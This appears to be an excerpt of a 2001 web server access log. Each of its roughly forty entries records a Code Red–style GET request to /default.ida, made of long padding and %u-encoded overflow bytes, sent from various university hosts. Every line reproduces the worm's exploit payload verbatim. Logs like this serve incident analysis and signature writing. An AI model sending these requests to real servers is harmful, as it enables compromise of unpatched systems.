  1003. 20010831 01:04:24:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1004. 20010831 01:15:54: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1005. 20010831 01:36:04: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1006. 20010831 01:40:52: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1007. 20010831 01:46:01:  [128.249.253.5] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1008. 20010831 01:55:04: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1009. 20010831 02:01:57: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1010. 20010831 02:24:08:  [128.238.241.147] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1011. 20010831 02:37:05: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1012. 20010831 02:46:05: dynamic-207-230.dyn.columbia.edu [128.59.207.230] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1013. 20010831 02:52:12: dynamic-207-230.dyn.columbia.edu [128.59.207.230] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1014. 20010831 02:55:54: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1015. 20010831 03:15:09: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1016. 20010831 03:28:33: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1017. 20010831 03:46:22: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1018. 20010831 03:55:45: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1019. 20010831 03:57:16: dynamic-207-230.dyn.columbia.edu [128.59.207.230] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1020. 20010831 04:08:09: dynamic-207-230.dyn.columbia.edu [128.59.207.230] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1021. 20010831 04:32:11:  [210.90.239.31] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1022. 20010831 04:43:31: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1023. 20010831 04:49:01: dynamic-207-230.dyn.columbia.edu [128.59.207.230] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1024. 20010831 04:57:18: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1025. 20010831 04:59:01: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1026. 20010831 05:17:42: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1027. 20010831 05:35:09: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1028. 20010831 05:40:54: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1029. 20010831 05:44:56: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1030. 20010831 05:52:19: jkyle.resnet.tamu.edu [128.194.5.197] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1031. 20010831 05:56:37: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1032. 20010831 06:00:38: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1033. 20010831 06:04:11: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1034. 20010831 06:12:46: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1035. 20010831 06:17:13: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1036. 20010831 06:33:29: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1037. 20010831 06:45:43: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1038. 20010831 06:46:35: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1039. 20010831 06:46:53: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1040. 20010831 06:49:15:  [211.61.251.241] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0"
